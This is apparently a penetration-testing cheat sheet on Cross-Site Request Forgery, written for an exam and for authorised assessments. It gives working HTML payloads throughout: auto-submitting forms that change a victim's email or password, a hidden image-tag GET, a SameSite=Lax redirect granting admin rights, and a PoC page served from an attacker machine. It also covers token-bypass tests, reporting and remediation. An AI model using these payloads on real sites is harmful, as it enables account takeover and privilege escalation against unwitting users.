☼
⌃
☰

Cross-Site Request Forgery

Table of Contents

A state-changing request is forged on behalf of an authenticated victim whose browser automatically sends session cookies. The server cannot distinguish the forged request from a legitimate one. Requires the victim to be authenticated and to visit an attacker-controlled page while their session is active.

CSRF only works against state-changing actions (POST, PUT, DELETE, PATCH). Reading data requires XSS. GET-based state changes are an immediate finding regardless of CSRF tokens.

Related: XSS Session Management Testing HTTP Security Headers Web Application Testing Methodology PT1 Vulnerability Classification Cheat Sheet

1. Identifying CSRF Candidates

TEXT
Look for state-changing actions without CSRF protection:
- Password / email change
- Account deletion
- Fund transfer / order placement
- Admin actions (user creation, privilege changes)
- Settings updates

Signs of CSRF token absence:
- No hidden token field in forms
- No X-CSRF-Token / X-Requested-With header in requests
- Token present but not validated (same token works repeatedly)
- Token present but not tied to session (any valid token accepted)

Check in Burp: intercept the state-changing request and look for token parameters. Remove or tamper the token and replay — if the action still succeeds, CSRF protection is absent or broken.

2. Basic CSRF Payloads

POST Form — Auto-Submit

HTML \n \n\n`);copyBtnbtn_8ab99078a7ee4ad294f27e753e344a37.innerHTML = res ? '✓' : 'error';setTimeout(() => { copyBtnbtn_8ab99078a7ee4ad294f27e753e344a37.innerHTML = '⧉'}, 3000); });
<html>
  <body>
    <form id="csrf" action="https://target.com/account/change-email"
          method="POST">
      <input type="hidden" name="email" value="attacker@evil.com">
    </form>
    <script>document.getElementById('csrf').submit();</script>
  </body>
</html>

GET Request — Image Tag

HTML
<!-- State-changing GET is exploitable without form -->
<img src="https://target.com/account/delete?confirm=true"
     style="display:none">

JSON POST — Content-Type Caveat

Standard CSRF only works with application/x-www-form-urlencoded, multipart/form-data, or text/plain content types. JSON APIs using application/json are protected by CORS — the browser will not send cross-origin JSON POST without a preflight.

Exception: if the server accepts text/plain with JSON body:

HTML \n \n\n`);copyBtnbtn_44931780e0c949b196b673c6b51e514d.innerHTML = res ? '✓' : 'error';setTimeout(() => { copyBtnbtn_44931780e0c949b196b673c6b51e514d.innerHTML = '⧉'}, 3000); });
<html>
  <body>
    <form id="csrf" action="https://target.com/api/settings"
          method="POST" enctype="text/plain">
      <!-- name=value becomes the POST body -->
      <!-- Craft so that value parses as valid JSON -->
      <input type="hidden" name='{"email":"attacker@evil.com","x"' value='"}'>
    </form>
    <script>document.getElementById('csrf').submit();</script>
  </body>
</html>

3. CSRF Token Bypass Techniques

When a token is present, test each bypass before concluding it is properly protected:

TEXT
1. Remove the token entirely — if action succeeds, token not validated
2. Use an empty token value — token= or token=null
3. Use another user's valid token — if accepted, token not tied to session
4. Change request method — if POST is protected, try GET with same params
5. Change Content-Type — if JSON is checked, try form-encoded
6. Remove the token parameter entirely (not just blank the value)
SHELL
# In Burp Repeater — test each:
# Original: POST /change-email  token=abc123&email=new@email.com
# Test 1:   POST /change-email  email=new@email.com
# Test 2:   POST /change-email  token=&email=new@email.com
# Test 3:   POST /change-email  token=OTHER_USER_TOKEN&email=new@email.com
# Test 4:   GET  /change-email?token=abc123&email=new@email.com

4. SameSite Cookie Bypass

Modern browsers default SameSite=Lax which blocks cross-site POST but permits top-level GET navigation. Test accordingly:

SameSite Value GET exploitable POST exploitable
None Yes Yes
Lax Via top-level nav No
Strict No No
Not set (Chrome) Via top-level nav No (defaults Lax)
HTML \n`);copyBtnbtn_5db5af9d045e4484b592e87528c239f3.innerHTML = res ? '✓' : 'error';setTimeout(() => { copyBtnbtn_5db5af9d045e4484b592e87528c239f3.innerHTML = '⧉'}, 3000); });
<!-- SameSite=Lax bypass — top-level GET navigation -->
<!-- Works if the state-changing action accepts GET -->
<a href="https://target.com/promote?user=attacker&role=admin">Click here</a>

<!-- Or redirect automatically -->
<script>
  window.location = "https://target.com/promote?user=attacker&role=admin";
</script>

5. Proof of Concept Page

Host this on your attacker server and send the URL to the victim (or demonstrate by visiting it yourself while authenticated):

HTML
<!DOCTYPE html>
<html>
<head><title>CSRF PoC</title></head>
<body onload="document.getElementById('csrf').submit()">
  <h1>Page Loading...</h1>
  <form id="csrf"
        action="https://TARGET/account/change-password"
        method="POST"
        style="display:none">
    <input type="hidden" name="new_password" value="Pwned123!">
    <input type="hidden" name="confirm_password" value="Pwned123!">
  </form>
</body>
</html>
SHELL
# Serve from attacker machine
python3 -m http.server 8080
# Visit http://$ATTACKER:8080/csrf.html while authenticated on target

6. Burp Suite — Generate CSRF PoC

Burp can generate the PoC HTML automatically:

TEXT
1. Intercept the state-changing request in Proxy
2. Right-click → Engagement tools → Generate CSRF PoC
3. Copy the generated HTML
4. Test in browser while authenticated to target

7. Reporting Template

Classification: Cross-Site Request Forgery (CSRF)

Severity: High (password/email change, privilege escalation) / Medium (lower-impact state changes)

Description: The [endpoint] action does not implement CSRF protection. An attacker can host a malicious page that silently submits a forged request to this endpoint. If a victim visits the page while authenticated, the action executes under their session without their knowledge or consent.

Evidence:

# Forged request succeeds without token
POST /account/change-email HTTP/1.1
Host: target.com
Cookie: session=<victim_session>
Content-Type: application/x-www-form-urlencoded

email=attacker%40evil.com

HTTP/1.1 200 OK
{"message":"Email updated"}

Remediation:

  • Implement synchronised CSRF tokens tied to the user's session
  • Validate the Origin and Referer headers server-side
  • Set SameSite=Strict or SameSite=Lax on session cookies
  • Require re-authentication for high-impact actions

Tips

  • Always check whether tokens are validated server-side, not just present — remove the token entirely as the first test
  • GET-based state changes are a High finding on their own — they are exploitable even with SameSite=Lax and without a CSRF page
  • Burp's Generate CSRF PoC saves time — use it for the report demonstration
  • CSRF and XSS often appear on the same target — if you have stored XSS you can use it to exfiltrate the CSRF token and chain both vulnerabilities
  • On the exam: if you can change account state by replaying a request without the token, classify as CSRF